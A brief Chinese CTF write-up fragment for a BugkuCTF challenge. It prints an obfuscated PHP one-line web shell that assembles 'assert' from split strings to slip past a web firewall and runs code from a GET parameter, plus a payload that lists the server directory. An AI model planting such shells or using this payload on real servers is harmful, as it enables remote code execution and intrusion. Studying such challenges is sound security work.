BugkuCTF-過狗一句話

提示代碼 <?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?> 用assert執行任意函數 payload：?s=print_r(scandir('./')) 掃

>>阅读原文<<